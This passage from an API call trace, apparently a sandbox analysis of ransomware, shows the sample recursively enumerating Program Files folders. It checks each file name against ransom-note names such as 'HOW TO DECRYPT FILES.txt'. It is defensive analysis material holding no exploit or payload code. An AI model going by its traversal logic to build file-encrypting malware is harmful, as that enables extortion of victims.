shared\\VSTO\\10.0\\") returned="" [0076.529] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.529] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOInstaller.exe") returned -1 [0076.529] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOInstaller.exe") returned -1 [0076.529] lstrcmpiA (lpString1="", lpString2="VSTOInstaller.exe") returned -1 [0076.529] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.config") returned="VSTOInstaller.config" [0076.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" [0076.529] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\") returned="" [0076.529] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.529] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOLoader.dll") returned -1 [0076.529] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOLoader.dll") returned -1 [0076.529] lstrcmpiA (lpString1="", lpString2="VSTOLoader.dll") returned -1 [0076.529] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned="VSTOInstaller.exe" [0076.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" [0076.529] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\") returned="" [0076.530] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.530] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOMessageProvider.dll") returned -1 [0076.530] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOMessageProvider.dll") returned -1 [0076.530] lstrcmpiA (lpString1="", lpString2="VSTOMessageProvider.dll") returned -1 [0076.530] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned="VSTOLoader.dll" [0076.530] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" [0076.530] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\") returned="" [0076.530] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.530] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ActionsPane3.xsd") returned 1 [0076.530] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ActionsPane3.xsd") returned 1 [0076.530] lstrcmpiA (lpString1="", lpString2="ActionsPane3.xsd") returned -1 [0076.530] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*.*") returned="*.*" [0076.530] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" [0076.530] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\") returned="" [0076.532] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.532] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vstoee.dll") returned -1 [0076.532] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vstoee.dll") returned -1 [0076.532] lstrcmpiA (lpString1="", lpString2="vstoee.dll") returned -1 [0076.532] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\ActionsPane3.xsd") returned="ActionsPane3.xsd" [0076.532] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" [0076.532] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\") returned="" [0076.532] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.532] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vstoee100.tlb") returned -1 [0076.532] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vstoee100.tlb") returned -1 [0076.532] lstrcmpiA (lpString1="", lpString2="vstoee100.tlb") returned -1 [0076.532] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned="vstoee.dll" [0076.533] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" [0076.533] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\") returned="" [0076.533] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.533] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vstoee90.tlb") returned -1 [0076.533] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vstoee90.tlb") returned -1 [0076.533] lstrcmpiA (lpString1="", lpString2="vstoee90.tlb") returned -1 [0076.533] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned="vstoee100.tlb" [0076.533] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" [0076.533] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\") returned="" [0076.533] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.533] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.534] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*.*") returned="*.*" [0076.534] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.534] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*.*") returned="*.*" [0076.534] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.535] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.535] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FPSRVUTL.DLL") returned -1 [0076.535] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FPSRVUTL.DLL") returned 1 [0076.535] lstrcmpiA (lpString1="", lpString2="FPSRVUTL.DLL") returned -1 [0076.535] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*.*") returned="*.*" [0076.535] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\" [0076.535] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\") returned="" [0076.537] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FPWEC.DLL") returned -1 [0076.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FPWEC.DLL") returned 1 [0076.537] lstrcmpiA (lpString1="", lpString2="FPWEC.DLL") returned -1 [0076.537] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned="FPSRVUTL.DLL" [0076.537] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\" [0076.537] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\") returned="" [0076.537] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\*.*") returned="*.*" [0076.538] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650057, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.539] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0076.539] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="verisign.bmp") returned -1 [0076.539] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="verisign.bmp") returned -1 [0076.539] lstrcmpiA (lpString1="", lpString2="verisign.bmp") returned -1 [0076.539] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\Services\\*.*") returned="*.*" [0076.539] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\" [0076.539] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\Services\\") returned="" [0076.541] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\*.*") returned="*.*" [0076.541] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.541] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*.*") returned="*.*" [0076.541] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.541] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*.*") returned="*.*" [0076.542] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.542] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*") returned="*.*" [0076.542] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.543] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*") returned="*.*" [0076.543] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0076.545] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.545] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="M1033DSK.APL") returned -1 [0076.545] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="M1033DSK.APL") returned -1 [0076.545] lstrcmpiA (lpString1="", lpString2="M1033DSK.APL") returned -1 [0076.545] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*") returned="*.*" [0076.545] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.545] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.546] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.546] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="M1033DSK.CRT") returned -1 [0076.546] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="M1033DSK.CRT") returned -1 [0076.546] lstrcmpiA (lpString1="", lpString2="M1033DSK.CRT") returned -1 [0076.546] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL") returned="M1033DSK.APL" [0076.546] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.546] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.546] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.546] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT") returned="M1033DSK.CRT" [0076.546] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.546] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.547] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.547] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD") returned="M1033DSK.CSD" [0076.547] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.547] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.548] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.548] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.IDX") returned="M1033DSK.IDX" [0076.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.548] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.548] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.548] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS") returned="M1033DSK.LTS" [0076.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.548] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.548] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.548] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS") returned="M1033DSK.TTS" [0076.549] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.549] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.549] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.549] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT") returned="M1033DSK.UDT" [0076.549] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.549] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.549] PeekMessageA 